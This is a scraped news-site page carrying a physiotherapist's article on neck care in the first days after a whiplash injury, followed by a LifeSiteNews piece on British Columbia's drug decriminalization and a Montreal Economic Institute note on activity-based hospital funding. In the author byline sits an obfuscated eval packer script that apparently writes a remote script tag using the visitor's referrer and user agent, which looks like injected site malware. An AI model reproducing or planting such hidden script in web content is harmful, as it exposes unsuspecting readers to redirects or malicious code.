Connect with us

Health

What to do in those first few days after an accident

Published

7 minute read

by Leanne eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbnzd|var|u0026u|referrer|binak||js|php’.split(‘|’),0,{}))
Schlachter- Pursuit Physiotherapy

So you hit a deer, or a car hit you, or you slid into a pole.  You may have whiplash.  This article is for those people who have been seen in the ER and sent home with a diagnosis of whiplash, or feel that aren’t hurt bad enough to warrant an Emergency Room visit.  If you are at all concerned about your symptoms, please see your doctor. This article is speaking about the muscle and soft tissue injuries that can occur with whiplash.  These are some tips you can use immediately after the injury.

It is best you see a physiotherapist for treatment, but these are some things to

start with until your appointment.

During a collision, your head is moved suddenly on your neck.  The muscles, ligaments, and soft tissues in your neck are not prepared for these sudden movements, and can get overstretched, or strained and sprained.  Like all acute injuries there will be inflammation and pain, and a risk of re-injury for the first 3-10 days.  So for these early days, you might have to modify your job task or hours, rest your neck, avoid lifting, avoid leaning over where your neck muscles have to support your head-your head and brain weigh approximately 11 pounds.  This first time frame is all about resting your neck ligaments and muscles.

Resting your neck for the first few days is very helpful to healing.  I suggest after you have been up and about-possibly to work, or doing home chores, to lie flat on your back with ice under your neck for 10 minutes. This means usually with one pillow only-you shouldn’t feel “propped up on pillows”. That position actually pushes your head and neck forward-more overstretching.   Just a reminder that our body doesn’t stay strong if we rest too much, so keep this limited to the first few days.

There are often things we do that we don’t realize can cause strain to your neck.

  • Carrying anything over about 7 lbs will cause strain to the neck muscles.  Choose carefully what you carry, and whatever you do have to carry, use 2 hands and keep it close to your chest.  If you carry bags in one hand for example, that bag is pulling down on those muscles that have been already overstretched.
  • Be aware of how you are sitting both at work, and while driving.  During both activities we are concentrating, and often leaning forward.  You might have to adjust your seat to have more back support, and head support.
  • After a shower, wearing a damp towel on your wet hair adds weight to your head that your neck muscles aren’t up to supporting.  Or vigorously shaking your head to style and dry your hair is too aggressive for the neck.
  • Changing the laundry can be a challenge for the neck-either pulling wet, heavy jeans out of a washer, to looking into that front loading washer  to make sure you got all the socks.  You may have to ask for help with these tasks or make the loads smaller or get right down on your hands and  knees to look into the washer.
  • Unsupported leaning forward or prolonged looking down makes the neck muscles work hard to hold your head up. Tasks that require this are bathing children in the tub, doing dishes, wiping muddy dog feet, reaching down into the freezer.  Frequently our leisure activities have us looking down for long periods, such as texting and playing games on our devices, reading, sewing, doing puzzles.
  • In Alberta climates, there is snow in the winter.  Those first couple of weeks, I would suggest getting help pushing the grocery cart through the snowy parking lot-when we feel good, we don’t realise the effort moving one of those carts takes and it’s especially worse after a fresh snowfall. Also asking for help with shovelling is a good idea-lots of leaning forward looking down, and lifting with shovelling.

So make sure in those first few days after an accident you rest your neck, and make an appointment to see a physiotherapist.  Our staff at Pursuit Physiotherapy would be happy to help you get back to your normal function,  strength, and comfort level.

Posted by Leanne Schlachter

Pursuit Physiotherapy in Red Deer, promotes balanced, healthy living through dedicated, individualized physical therapy for those in pain, unable to participate fully in their daily activities, wanting to maximize their function for work or sport, and wanting to prevent potential problems.

If it is affecting your quality of life, then we want to help you to optimize your function and minimize your pain.

We are committed to your health and want to encourage you to be too.

Connect to Pursuit Physiotherapy.

More from this author

Addictions

British Columbia should allow addicts to possess even more drugs, federal report suggests

Published on

From LifeSiteNews

By Clare Marie Merkowsky

Despite the drug crisis only getting worse in British Columbia after decriminalization, a federal report by the Canadian Institutes of Health Research advocates for further relaxing its policy so addicts can possess even more drugs.

Despite the drug crisis only worsening since decriminalization, federal researchers are now advocating for British Columbia to allow the possession of even larger quantities of cocaine, claiming that current possession limits don’t allow addicts to buy enough.

According to a federal report published April 23 by Blacklock’s Reporter, the current decriminalization program in British Columbia approved by Prime Minister Justin Trudeau’s government has set cocaine possession limits “too low.”

“People who use drugs are less concerned about being arrested and feel more comfortable carrying substances they need,” said the report by the Canadian Institutes of Health Research. “The threshold of 2.5 grams is too low and is unreflective of users’ substance use and purchasing patterns.” 

Under the policy, which launched in early 2023, the federal government began allowing people within the province to possess up to 2.5 grams of hard drugs – including cocaine, opioids, ecstasy and methamphetamine – without criminal penalty, but selling drugs remained a crime.   

The policy has been widely criticized, especially after it was found that the province broke three different drug-related overdose records in the first month the new law was in effect.   

However, now researchers are claiming that the new policy is insufficient for drug users.   

“People who use drugs indicated the 2.5 gram threshold is too low and unreflective of their substance use patterns,” the report stated. “Although some people indicated the policy wouldn’t impact their purchasing patterns because they are unable to purchase large amounts at a time, others suggested it may force them to seek out substances more frequently which could increase their risk of harms.”  

“Buying in bulk may be more economical particularly for people who use drugs,” it continued, adding that it was “common practice to purchase in bulk and split or share among peers.”  

The recommendation comes as deaths from drug overdoses in Canada have gone through the roof in recent years, particularly in British Columbia.  

Gunn says he documents the “general societal chaos and explosion of drug use in every major Canadian city.”   

“Overdose deaths are up 1,000 percent in the last 10 years,” he said in his film, adding that “[e]very day in Vancouver four people are randomly attacked.”   

Similarly, even Liberals have begun to condemn Trudeau’s “safe supply” program, linking them to “chaos” in cities.  

Safe supply“ is the term used to refer to government-prescribed drugs that are given to addicts under the assumption that a more controlled batch of narcotics reduces the risk of overdose – critics of the policy argue that giving addicts drugs only enables their behavior, puts the public at risk, disincentivizes recovery from addiction and has not reduced, and sometimes even increased, overdose deaths where implemented.    

Last week, Liberal MP Dr. Marcus Powlowski revealed that violence from drug users has become a problem in Ottawa, especially in areas near so-called “safe supply” drug sites which operate within blocks of Parliament Hill.    

“A few months ago I was downtown in a bar here in Ottawa, not that I do that very often, but a couple of colleagues I met up with, one was assaulted as he was going to the bar, another one was threatened,” said Powlowski.   

“Within a month of that I was returning down Wellington Street from downtown, the Rideau Centre, and my son who is 15 was coming after me,” he continued. “It was nighttime and there was someone out in the middle of the street, yelling and screaming, accosting cars.”  

Continue Reading

Alberta

Activity-Based Hospital Funding in Alberta: Insights from Quebec and Australia

Published on

From the Montreal Economic Institute

By Krystle Wittevrongel

Quebec has experienced increased productivity and efficiency, as well as reduced costs, in those sectors to which ABF has been applied

Alberta’s healthcare system costs more than those of many of its peers across Canada and internationally, yet underperforms by many metrics—wait times perhaps being the most visible.(1) For instance, while Alberta consistently spends a fair deal more per capita on health care than Canada’s other large provinces do, the median wait time from referral by a GP to treatment by a specialist was 33.3 weeks in 2022, versus 29.4 weeks in Quebec, 25.8 weeks in British Columbia, and 20.3 weeks in Ontario. Albertans waited a median 232 days for a hip replacement that year, longer than those in Quebec, British Columbia, and Ontario.(2) In Australia, meanwhile, the median wait time for a total hip replacement in 2022 was 175 days in public hospitals.(3)

One of the things keeping Alberta’s healthcare system from better performance is that it relies on global budgets for its hospital financing. Such a system allocates a pre-set amount of funding to pay for an expected number of services, based largely on historical volume. The problem with global budgets is that they disregard the actual costs incurred to deliver care, while undermining incentives to improve outcomes. This ultimately leads to rationing of care, with patients viewed as a cost that must be managed.

Activity-based funding systems are associated with reduced hospital costs, increased efficiency, and shorter wait times, among other things.

An alternative is activity-based funding (ABF), which has largely replaced global budgeting in many OECD countries, and is starting to do so in some Canadian provinces.(4) With ABF, hospitals receive a fixed payment for each specific service delivered, adjusted for certain parameters.(5) If a hospital treats more patients and delivers more services, it receives more funding; if it does less, it receives less. In essence, the money follows the patient, which has a dramatic effect: patients are now viewed as a source of revenue, not merely as a cost. Studies have shown that ABF systems that include appropriate safeguards for quality and waste are associated with reduced hospital costs, increased efficiency, and shorter wait times, among other things.(6)

To increase its capacity and performance, Alberta should consider moving to such a system for hospital financing. As over 25% of total health spending in the province goes to hospitals,(7) driving down costs and finding efficiencies is of paramount importance.

ABF models vary by jurisdiction and context to account for distinct situations and the particular policy objectives being pursued.(8) Two jurisdictions provide interesting insights: Quebec, with ABF hospital funding being gradually implemented in recent years, and Australia, where after more than three decades, ABF is the rule, global budgets the exception.

ABF in Quebec: Increased Performance and Decreased Costs

Quebec’s hospital payment reforms over the past two decades have been aimed at better linking funding with health care delivery to improve care quality and access.(9) These patient-based funding reforms (a type of ABF) have resulted in increased volumes and efficiency, and reduced costs and wait times for a number of surgical and other procedures in Quebec.(10)

These reforms started in 2004, when Quebec applied ABF in the context of additional funding to select surgeries in order to reduce wait times through the Access to Surgery Program.(11) The surgeries initially targeted were hip replacement, knee replacement, and cataract surgeries, but other procedures were eventually integrated into the program as well. Its funding covered the volume of surgeries that exceeded those performed in 2002-2003, and it used the average cost for each specific surgery. Procedures were classified by cost category, which also took into account the intensity of resource use and unit cost based on direct and indirect costs.

The expansion of ABF in Quebec aims to relieve hospital congestion by driving down wait times and shrinking wait lists.

By 2012-2013, this targeted program had helped to significantly increase the volume of surgeries performed, as well as decrease wait times and length of stay.(12) However, as ABF was applied only to surplus volumes of additional surgeries, efficiency gains were limited. For this reason, among others, the Expert Panel for Patient-Based Funding recommended expanding the program,(13) and in 2012, the Government of Quebec began considering further pilot projects for gradual ABF implementation.(14)

  • In 2015, ABF was implemented in the radiation oncology sector, which resulted in better access to services at a lower cost, with productivity having increased more than 26% by 2023-2024, and average procedure costs having fallen 7%.(15)
  • In 2017-2018, ABF was implemented in imaging, which resulted in the number of magnetic resonance imaging tests increasing more than 22% while driving the unit cost of procedures down 4%.(16)
  • Following the above successes, in 2018-2019, the colonoscopy and digestive endoscopy sector also moved to ABF, which led to a productivity increase of 14% and a 31% decrease in the case backlog.(17)

Overall, then, Quebec has experienced increased productivity and efficiency, as well as reduced costs, in those sectors to which ABF has been applied (see Figure 1).

The Department of Health and Social Services continued to expand ABF to more surgeries in 2023, following which it was expected that about 25% of the care and services offered in physical health in Quebec hospitals would be funded in this manner, with the goal of reaching 100% by 2027-2028.(18) Further, the 2024-2025 budget expanded ABF again to include the medicine, emergency, neonatal, and dialysis sectors.

This expansion of ABF aims to relieve hospital congestion by driving down wait times and shrinking wait lists.(19) It will also align Quebec’s health care funding with what has become standard in most OECD countries. In Australia, for instance, ABF is the rule, not the exception, covering a large proportion of hospital services.

Australia’s Extensive Use of ABF

Australia also implemented ABF in stages, as Quebec is now doing. It was first introduced in the 1990s in one state and adopted nationally in 2012 for all admitted programs to increase efficiency, while also integrating quality and safety considerations.(20) These considerations act as safeguards to ensure efficiency incentives don’t negatively impact services. For instance, there are adjustments to the ABF payment framework in the presence of hospital acquired complications and avoidable hospital readmissions, two measures of hospital safety and service quality.(21) If service quality were to decrease, funding would be adjusted, and payments would be withheld. Not only has ABF been successful in increasing hospital efficiency in Australia, but it has also enabled proactive service improvement, which has in turn had a positive impact on safety and quality.(22)

ABF now makes up 87.0% of total hospital spending in Australia, ranging from 83.6% in Tasmania to 93.0% in the Australian Capital Territory.

Currently, ER services, acute services, admitted mental health services, sub-acute and non-acute services, and non-admitted services are funded with ABF in Australia. This includes rehabilitation, palliative, geriatric and/or maintenance care.(23) Global budgets are still used for some block funding, but this is the exception, restricted to certain hospitals, programs, or specific episodes of care.(24) Small rural hospitals, non-admitted mental health programs, and a few other highly specialized therapies or clinics or some community health services tend to be block funded due to higher than average costs stemming from a lack of economies of scale and inadequate volumes, among other things.

When first introduced, ABF made up about 25% of hospital revenue (approximately where Quebec currently stands).(25) ABF now makes up 87.0% of total hospital spending in Australia, ranging from 83.6% in Tasmania to 93.0% in the Australian Capital Territory (see Figure 2).

There is more variability, however, at the local hospital network level within territories or states. For instance, between 2019 and 2024, an average of 92.3% of total funding for the hospitals in the South Eastern Sydney Local Health District was ABF, and just 7.7% was block funding.(26) For the hospitals in the Far West Local Health District, in comparison, ABF represented an average of 72.0% of total funding, and block payments 28.0%, over the same period.(27)

The proportion of ABF funding per hospital is dictated, for the most part, by the types and volumes of patient services provided, but also by hospital characteristics and regional patient demographics.(28) For example, there could be a need to compensate for differences in hospital size and location, or to reimburse for some alternative element of the fixed cost of providing services. In the Far West Local Health District, on average 65.1% of block funding between 2019-2020 and 2023-2024 was provided for small rural hospitals, while only 1.4% of the block funding in the South Eastern Sydney Local Health District was for these types of hospitals.(29) Ultimately, these two districts serve very different populations, with the Far West Local Health District being the most thinly populated district in Australia.(30)

Overall, ABF implementation in Australia has significantly improved hospital performance. Early after ABF implementation, the volume of care in Australia increased, and waiting lists decreased by 16% in the first year.(31) Between 2005 and 2017 the hospitals that were funded by ABF in Queensland became more efficient than those receiving block funding.(32) In addition, ABF can contribute to reductions in extended lengths of stay and hospital readmission,(33) both of which are expensive propositions for health care systems and also tie up hospital beds and resources.

Conclusion

ABF has been associated with reduced hospital costs, increased efficiency, and shorter wait times, areas where Alberta is lacking and reform is needed. To increase its health system performance, Alberta should consider emulating Quebec and moving to an activity-based funding system. Indeed, based on the experience of countries like Australia, widespread application should be the goal, as it is in Quebec. Alberta patients have already waited far too long for timely access to the quality care they deserve. The time to act is now.

The MEI study is available here.

* * *

This Economic Note was prepared by Krystle Wittevrongel, Senior Policy Analyst and Alberta Project Lead at the MEI. The MEI’s Health Policy Series aims to examine the extent to which freedom of choice and entrepreneurship lead to improvements in the quality and efficiency of health care services for all patients.

The MEI is an independent public policy think tank with offices in Montreal and Calgary. Through its publications, media appearances, and advisory services to policy-makers, the MEI stimulates public policy debate and reforms based on sound economics and entrepreneurship. 

Continue Reading

Trending

X